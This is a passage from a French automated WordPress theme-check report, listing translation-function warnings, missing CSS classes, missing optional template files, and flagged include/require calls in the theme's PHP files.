  19. Implémentation de l'internationalisation : Utilisation correcte de _x(La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  20. Fichiers CSS : Présence de text domainLa déclaration Text Domain: manque dans le header du fichier style.css.
  21. Fichiers CSS : Présence de la classe .stickyLa classe CSS .sticky n'a pas été trouvée dans les styles du thème.
  22. Fichiers CSS : Présence de la classe .bypostauthorLa classe CSS .bypostauthor n'a pas été trouvée dans les styles du thème.
  23. Fichiers CSS : Présence de la classe .alignleftLa classe CSS .alignleft n'a pas été trouvée dans les styles du thème.
  24. Fichiers CSS : Présence de la classe .alignrightLa classe CSS .alignright n'a pas été trouvée dans les styles du thème.
  25. Fichiers CSS : Présence de la classe .aligncenterLa classe CSS .aligncenter n'a pas été trouvée dans les styles du thème.
  26. Fichiers CSS : Présence de la classe .wp-captionLa classe CSS .wp-caption n'a pas été trouvée dans les styles du thème.
  27. Fichiers CSS : Présence de la classe .wp-caption-textLa classe CSS .wp-caption-text n'a pas été trouvée dans les styles du thème.
  28. Fichiers CSS : Présence de la classe .gallery-captionLa classe CSS .gallery-caption n'a pas été trouvée dans les styles du thème.
  29. Fichiers CSS : Présence de la classe .screen-reader-textLa class css .screen-reader-text est nécessaire dans le css du thème. Voir : le Codex pour un exemple d'implémentation.
  30. Tags : Affichage des tagsCe theme ne semble pas afficher les tags.
Info
  1. Fichiers obligatoires : Présence du fichier comments.phpFichierr comments.php introuvable dans le thème.
  2. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  3. Fichiers optionnels : Présence du fichier-template de commentaires comments.phpCe thème ne contient pas le fichier optionnel comments.php.
  4. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  5. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  6. Fichiers optionnels : Présence du fichier-template des posts seuls single.phpCe thème ne contient pas le fichier optionnel comments.php.
  7. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  8. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  9. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  10. Fichiers optionnels : Présence du fichier-template author.phpCe thème ne contient pas le fichier optionnel author.php.
  11. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  12. Fichiers optionnels : Présence du fichier-template des archives archive.phpCe thème ne contient pas le fichier optionnel archive.php.
  13. Fichiers optionnels : Présence du fichier-template des résultats de recherche search.phpCe thème ne contient pas le fichier optionnel search.php.
  14. Fichiers optionnels : Présence du fichier-template des pièces jointes attachment.phpCe thème ne contient pas le fichier optionnel attachment.php.
  15. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  16. Fichiers optionnels : Présnece du fichier-template 404 Not Found 404.phpCe thème ne contient pas le fichier optionnel 404.php.
  17. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : sweet-custom-menu.php 23: include_once( 'edit_custom_walker.php' );24: include_once( 'custom_walker.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : import.php 3: Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : admin.class.php 69: require_once(get_template_directory() . '/lib/admin/'.$page['pagina']);73: require_once(get_template_directory() . '/lib/admin/'.$sub_pagina['pagina']78: require_once(get_template_directory() . '/lib/admin/'.$page['pagina']);107: require_once(get_template_directory() . '/lib/admin/'.$pagina['template']);109: require_once(get_template_directory() . '/lib/admin/subpage_post_type.php')118: require_once(get_template_directory() . '/lib/admin/subpage_post_type.php') Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : AutoEmbed.class.php 40: include_once 'stubs.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : class.phpmailer.php 460: include_once($this->PluginDir . 'class.smtp.php');598: include($lang_path.'phpmailer.lang-'.$lang_type.'.php');600: include($lang_path.'phpmailer.lang-en.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : get_oauth_token.php 18: require 'vendor/autoload.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : class.smtp.php 486: require_once 'extras/ntlm_sasl_client.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
Other checked themes